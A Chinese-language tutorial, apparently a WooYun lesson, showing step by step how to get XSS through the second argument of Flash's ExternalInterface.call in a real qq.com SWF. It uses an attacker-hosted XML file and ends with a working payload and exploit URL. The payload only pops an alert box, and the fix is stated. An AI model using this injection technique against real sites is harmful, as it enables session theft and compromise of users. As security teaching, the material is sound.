# 16\. Flash Xss 進階 [ExternalInterface.call 第二個參數]
> 來源:[16\. Flash Xss 進階 \[ExternalInterface.call 第二個參數\]](http://www.wooyun.org/bugs/wooyun-2010-016598)
## 簡要描述
講完 ExternalInterface.call 的第一個參數,我們接著來講第“2”個參數,之所以 2 打上引號,因為 call 函數的原型是:
`call(functionName:String, ... arguments):*`, 即后面可以有很多很多個參數,我們統稱為第 2 個參數。有時候我們會遇到 `ExternalInterface.call("xxxxx","可控內容");`的情況,那么這種情況下,如何構造 XSS 呢?
1\. 有了上一節教程的基礎,這次我們直接見實例。
通過 GOOGLE 搜索,site:qq.com filetype:swf inurl:xml 我們可以找到以下 FLASH。
```
http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_men u/custom_menu.xml
```
2\. 借鑒上上節教程的思路,我們可以看看 http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 里是個什么內容。

3\. 好像看不出來是個啥用途,我們反編譯 FLASH 文件。

4\. 接著我們先看看是否有 getURL, `ExternalInterface.call` 之類的。

可以看到,我們搜索到的是下面這句:
```
flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);
```
那么 call 的第一個參數是被限定死了~,第 2 個參數為 `menu_array[_local2].href`,如果你對 AS 有一點了解,不難看出 `menu_array` 是一個數組,那么`_local2` 應該就是數組的下標, 而從單詞含義“菜單數組”我們不難聯想到上面 xml 文件里的數據。

5\. 換句話說,這里我們的可以控制 call 的第 2 個參數。同教程 14 中的方法,我們下來
```
http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 。
```
先做點修改,然后上傳到自己網站上。 我們將代碼里日志那一行的 href 改掉。
```
<menu name="日 志" href="\",alert(1)" />
```
上傳修改后的文件,同時記得將 crossdomain.xml 上傳至自己的網站根目錄下哦~~(見教程 14)
6\. 接著我們載入我們自己指定的 XML 文件。
```
http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml
```
7\. 接著我們打開 Firefox 瀏覽器。 有人會問,你怎么突然要用 Firefox 啊!瘋了么!! 同志們,我沒瘋,只是因為 FF 可以捕獲到這 里的錯誤,而 chrome 捕獲不到!
我們打開 Firefox 后, 訪問上面的地址,點擊【日志】按鈕!! Ctrl+shift+J 打開錯誤控制臺!可以看到以下報錯!

8\. 記性好的朋友,會馬上想起上一節里我們說到的。
```
ExternalInterface.call("函數名","參數 1");
```
實際上執行的是以下內容,
```
try { flash toXML(函數名("參數 1")) ; } catch (e) { "<undefined/>"; }
```
我們就是從 FF 這里捕獲錯誤到這點的!(:) 當然也還會有其他方法)。 為什么會出錯呢? 我們一起來看看。
9\. 當我們點擊 【日志】按鈕時,會調用。
```
flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);
```
而 `menu_array[_local2].href` 等于 `\",alert(1)`, 進而,我們代入完整的代碼,即如下:
```
try { flash toXML(custom_menu_swf("\\",alert(1)")) ; } catch (e) { "<undefined/>"; }
```
轉換過程如下圖:

可以看到轉換之后,JS 代碼有點亂,引號到處飛,括號無處尋,因而報錯了!
10\. 那么我們怎么構造正確的利用代碼呢?其實有上一節的知識并不難!
```
try { flash toXML(custom_menu_swf("構造點構造點")) ; } catch (e) { "<undefined/>"; }
```
首先第一步,要注入自己代碼,首先要閉合掉雙引號!
```
try { flash toXML(custom_menu_swf("構造點"),alert("構造點")) ; } catch (e) { "<undefined/>"; }
```
但是從上面轉換流程,我們可以看到, `"` 會變成 `\"`, 即變成了下面的樣子,還是突破不出去。
```
try { flash toXML(custom_menu_swf("構造點\"),alert(\"構造點")) ; } catch (e) { "<undefined/>"; }
```

不過非常慶幸的事情是,這里沒有對 `\` 進行轉義。 我們可以通過輸入 `\"` 來構造。JS 的字符串里,`\` 用 `\\` 表示。如下:
```
try { flash toXML(custom_menu_swf("構造點\\"))}catch(e){alert(1)}//構造點")) ; } catch (e) { "<undefined/>"; }
```
圖片分析如下:

11\. 羅嗦了這么多,我們把構造點代碼,拿出來,插入到 XML 文件里。注意以下幾點:
11.1 最后構造的代碼是`\\"`, 實際我們的輸入是`\"`,然后由 FLASH 自己轉變為`\\"`的,因而利用代碼里只需要輸入`\"`即可。
11.2 由于在 XML 的節點屬性里,雙引號寫為 `"`
```
<menu name="日 志" href="構造點\"))}catch(e){alert(1)}//構造點" />
```
12\. 再次上傳文件。打開
```
http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml
```
點擊日志,看看效果。

## 修復方案
1\. 禁止調用第三方的外部 XML 文件。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]